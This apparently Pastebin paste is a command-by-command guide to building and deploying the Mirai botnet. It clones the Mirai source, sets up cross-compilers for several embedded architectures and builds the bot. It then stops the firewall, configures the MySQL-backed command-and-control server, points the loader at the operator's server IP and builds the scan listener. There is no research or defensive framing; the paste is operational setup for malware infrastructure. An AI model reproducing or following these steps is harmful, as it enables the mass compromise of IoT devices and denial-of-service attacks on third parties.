Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Clone Mirai source code
- git clone https://github.com/jgamblin/Mirai-Source-Code
- cd Mirai-Source-Code
- # Update system and install required packages
- sudo apt update -y
- sudo apt upgrade -y
- sudo apt install build-essential git sudo libgmp-dev linux-headers-$(uname -r) bison flex libelf-dev libncurses5-dev libssl-dev -y
- sudo ln -s /usr/lib/x86_64-linux-gnu/libgmp.so.10 /usr/lib/x86_64-linux-gnu/libgmp.so.3
- # Install Go (you may need to update the Go version URL to the latest if necessary)
- cd /tmp
- wget https://go.dev/dl/go1.5.linux-amd64.tar.gz
- tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -f go1.5.linux-amd64.tar.gz
- ln -s /usr/local/go/bin/go /usr/local/bin/go
- ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
- ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
- go version
- # Install uClibc dependencies and download source code
- cd /tmp
- git clone https://git.uclibc.org/uClibc.git
- cd uClibc
- # Configure and build uClibc
- make defconfig
- make clean
- make
- # Install uClibc
- sudo make PREFIX=/usr/local/uclibc install
- # Set up cross-compilers
- mkdir /etc/xcompile && cd /etc/xcompile
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
- # Extract cross-compilers
- for compiler in *.tar.bz2; do tar -jxf $compiler; done
- rm *.tar.bz2
- # Rename directories
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-i586 i586
- mv cross-compiler-m68k m68k
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-sh4 sh4
- mv cross-compiler-sparc sparc
- mv cross-compiler-armv6l armv6l
- # Set environment variables for cross-compilers and uClibc
- export PATH=$PATH:/etc/xcompile/armv4l/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/etc/xcompile/i586/bin
- export PATH=$PATH:/etc/xcompile/m68k/bin
- export PATH=$PATH:/etc/xcompile/mips/bin
- export PATH=$PATH:/etc/xcompile/mipsel/bin
- export PATH=$PATH:/etc/xcompile/powerpc/bin
- export PATH=$PATH:/etc/xcompile/sh4/bin
- export PATH=$PATH:/etc/xcompile/sparc/bin
- export PATH=$PATH:/usr/local/uclibc/bin
- export PATH=$PATH:/usr/local/go/bin
- export GOPATH=$HOME/Documents/go
- # Install Go packages
- go get github.com/go-sql-driver/mysql
- go get github.com/mattn/go-shellwords
- # Build the Mirai project
- ./build.sh debug telnet
- # Mirai C&C setup (Database)
- sudo systemctl stop ufw
- mysql_secure_installation
- # Set up MySQL database
- mysql -u root -p
- create database mirai;
- use mirai;
- # Paste database script from: http://pastebin.com/BsSWnK7i
- # Update CNC credentials in main.go (example: 127.0.0.1:3306)
- service mysql restart
- # Compile and run CNC
- cd /mirai/release
- ./cnc
- # Set up loader
- nano /Mirai-Source-Code/dlr/main.c
- # Update HTTP_SERVER line: #define HTTP_SERVER utils_inet_addr(127,0,0,1)
- cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
- nano /Mirai-Source-Code/loader/src/main.c
- # Add your server IP
- # Build loader
- chmod 777 build.sh
- ./build.sh
- # Update scanListen with your IP and build
- nano scanListen.go
- go build scanListen.go
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement